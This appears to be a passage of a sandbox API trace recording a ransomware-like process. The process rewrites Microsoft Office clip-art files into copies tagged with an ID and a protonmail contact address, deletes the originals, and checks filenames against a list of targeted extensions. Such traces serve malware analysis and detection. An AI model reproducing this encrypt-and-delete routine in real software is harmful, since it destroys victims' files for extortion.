	[0082.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0082.744] GetLastError () returned 0x0
	[0082.744] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0xea2, lpOverlapped=0x0) returned 1
	[0082.746] WriteFile (in: hFile=0x388, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xeb0, lpOverlapped=0x0) returned 1
	[0082.747] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.747] WriteFile (in: hFile=0x388, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.747] SetEndOfFile (hFile=0x388) returned 1
	[0082.747] CloseHandle (hObject=0x388) returned 1
	[0082.748] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.749] SetEndOfFile (hFile=0x320) returned 1
	[0082.749] CloseHandle (hObject=0x320) returned 1
	[0082.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0082.750] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 1
	[0082.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0082.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0082.750] lstrlenW (lpString=".doc") returned 4
	[0082.750] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.750] lstrlenW (lpString=".docx") returned 5
	[0082.750] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.750] lstrlenW (lpString=".pdf") returned 4
	[0082.750] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.750] lstrlenW (lpString=".xls") returned 4
	[0082.750] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.750] lstrlenW (lpString=".xlsx") returned 5
	[0082.750] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.750] lstrlenW (lpString=".ppt") returned 4
	[0082.750] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0082.750] lstrlenW (lpString=".zip") returned 4
	[0082.750] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.750] lstrlenW (lpString=".rar") returned 4
	[0082.750] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.751] lstrlenW (lpString=".bz2") returned 4
	[0082.751] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.751] lstrlenW (lpString=".7z") returned 3
	[0082.751] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0082.751] lstrlenW (lpString=".dbf") returned 4
	[0082.751] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0082.751] lstrlenW (lpString=".1cd") returned 4
	[0082.751] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0082.751] lstrlenW (lpString=".jpg") returned 4
	[0082.751] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0082.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0082.751] lstrlenW (lpString=".doc") returned 4
	[0082.751] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.751] lstrlenW (lpString=".docx") returned 5
	[0082.751] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.751] lstrlenW (lpString=".pdf") returned 4
	[0082.751] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.751] lstrlenW (lpString=".xls") returned 4
	[0082.751] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.751] lstrlenW (lpString=".xlsx") returned 5
	[0082.751] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.751] lstrlenW (lpString=".ppt") returned 4
	[0082.751] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0082.751] lstrlenW (lpString=".zip") returned 4
	[0082.751] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.751] lstrlenW (lpString=".rar") returned 4
	[0082.751] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.751] lstrlenW (lpString=".bz2") returned 4
	[0082.751] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.751] lstrlenW (lpString=".7z") returned 3
	[0082.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0082.752] lstrlenW (lpString=".dbf") returned 4
	[0082.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0082.752] lstrlenW (lpString=".1cd") returned 4
	[0082.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0082.752] lstrlenW (lpString=".jpg") returned 4
	[0082.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.752] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0082.752] lstrlenW (lpString="AN01216_.WMF") returned 12
	[0082.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0082.752] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=5836) returned 1
	[0082.752] CloseHandle (hObject=0x320) returned 1
	[0082.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 0x220
	[0082.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0082.753] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.753] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0082.753] GetLastError () returned 0x0
	[0082.753] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x16cc, lpOverlapped=0x0) returned 1
	[0082.755] WriteFile (in: hFile=0x388, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x16d0, lpOverlapped=0x0) returned 1
	[0082.756] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.756] WriteFile (in: hFile=0x388, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.756] SetEndOfFile (hFile=0x388) returned 1
	[0082.756] CloseHandle (hObject=0x388) returned 1
	[0082.757] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.757] SetEndOfFile (hFile=0x320) returned 1
	[0082.758] CloseHandle (hObject=0x320) returned 1
	[0082.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0082.758] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 1
	[0082.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0082.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0082.758] lstrlenW (lpString=".doc") returned 4
	[0082.758] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.758] lstrlenW (lpString=".docx") returned 5
	[0082.758] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.758] lstrlenW (lpString=".pdf") returned 4
	[0082.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.758] lstrlenW (lpString=".xls") returned 4
	[0082.758] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.758] lstrlenW (lpString=".xlsx") returned 5
	[0082.758] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.758] lstrlenW (lpString=".ppt") returned 4
	[0082.758] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0082.759] lstrlenW (lpString=".zip") returned 4
	[0082.759] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.759] lstrlenW (lpString=".rar") returned 4
	[0082.759] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.759] lstrlenW (lpString=".bz2") returned 4
	[0082.759] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.759] lstrlenW (lpString=".7z") returned 3
	[0082.759] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0082.759] lstrlenW (lpString=".dbf") returned 4
	[0082.759] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0082.759] lstrlenW (lpString=".1cd") returned 4
	[0082.759] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0082.759] lstrlenW (lpString=".jpg") returned 4
	[0082.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0082.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0082.759] lstrlenW (lpString=".doc") returned 4
	[0082.759] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.759] lstrlenW (lpString=".docx") returned 5
	[0082.759] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.759] lstrlenW (lpString=".pdf") returned 4
	[0082.759] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.759] lstrlenW (lpString=".xls") returned 4
	[0082.759] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.759] lstrlenW (lpString=".xlsx") returned 5
	[0082.759] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.759] lstrlenW (lpString=".ppt") returned 4
	[0082.759] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0082.759] lstrlenW (lpString=".zip") returned 4
	[0082.759] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.759] lstrlenW (lpString=".rar") returned 4
	[0082.759] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.760] lstrlenW (lpString=".bz2") returned 4
	[0082.760] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.760] lstrlenW (lpString=".7z") returned 3
	[0082.760] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0082.760] lstrlenW (lpString=".dbf") returned 4
	[0082.760] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0082.760] lstrlenW (lpString=".1cd") returned 4
	[0082.760] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0082.760] lstrlenW (lpString=".jpg") returned 4
	[0082.760] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.760] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0082.760] lstrlenW (lpString="AN01218_.WMF") returned 12
	[0082.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0082.760] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3012) returned 1
	[0082.760] CloseHandle (hObject=0x320) returned 1
	[0082.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 0x220
	[0082.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0082.761] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.761] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0082.761] GetLastError () returned 0x0
	[0082.761] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0xbc4, lpOverlapped=0x0) returned 1
	[0083.070] WriteFile (in: hFile=0x388, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xbd0, lpOverlapped=0x0) returned 1
	[0083.071] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.071] WriteFile (in: hFile=0x388, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.071] SetEndOfFile (hFile=0x388) returned 1
	[0083.071] CloseHandle (hObject=0x388) returned 1
	[0083.072] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.072] SetEndOfFile (hFile=0x320) returned 1
	[0083.073] CloseHandle (hObject=0x320) returned 1
	[0083.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0083.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 1
	[0083.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0083.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0083.074] lstrlenW (lpString=".doc") returned 4
	[0083.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.074] lstrlenW (lpString=".docx") returned 5
	[0083.074] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.074] lstrlenW (lpString=".pdf") returned 4
	[0083.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.074] lstrlenW (lpString=".xls") returned 4
	[0083.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.074] lstrlenW (lpString=".xlsx") returned 5
	[0083.074] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.074] lstrlenW (lpString=".ppt") returned 4
	[0083.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0083.074] lstrlenW (lpString=".zip") returned 4
	[0083.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.074] lstrlenW (lpString=".rar") returned 4
	[0083.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.074] lstrlenW (lpString=".bz2") returned 4
	[0083.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.074] lstrlenW (lpString=".7z") returned 3
	[0083.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0083.074] lstrlenW (lpString=".dbf") returned 4
	[0083.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0083.074] lstrlenW (lpString=".1cd") returned 4
	[0083.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0083.074] lstrlenW (lpString=".jpg") returned 4
	[0083.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0083.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0083.075] lstrlenW (lpString=".doc") returned 4
	[0083.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.075] lstrlenW (lpString=".docx") returned 5
	[0083.075] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.075] lstrlenW (lpString=".pdf") returned 4
	[0083.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.075] lstrlenW (lpString=".xls") returned 4
	[0083.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.075] lstrlenW (lpString=".xlsx") returned 5
	[0083.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.075] lstrlenW (lpString=".ppt") returned 4
	[0083.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0083.075] lstrlenW (lpString=".zip") returned 4
	[0083.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.075] lstrlenW (lpString=".rar") returned 4
	[0083.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.075] lstrlenW (lpString=".bz2") returned 4
	[0083.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.075] lstrlenW (lpString=".7z") returned 3
	[0083.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0083.075] lstrlenW (lpString=".dbf") returned 4
	[0083.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0083.075] lstrlenW (lpString=".1cd") returned 4
	[0083.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0083.075] lstrlenW (lpString=".jpg") returned 4
	[0083.075] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.076] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0083.076] lstrlenW (lpString="AN04196_.WMF") returned 12
	[0083.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.077] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3144) returned 1
	[0083.077] CloseHandle (hObject=0x320) returned 1
	[0083.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 0x220
	[0083.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.077] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
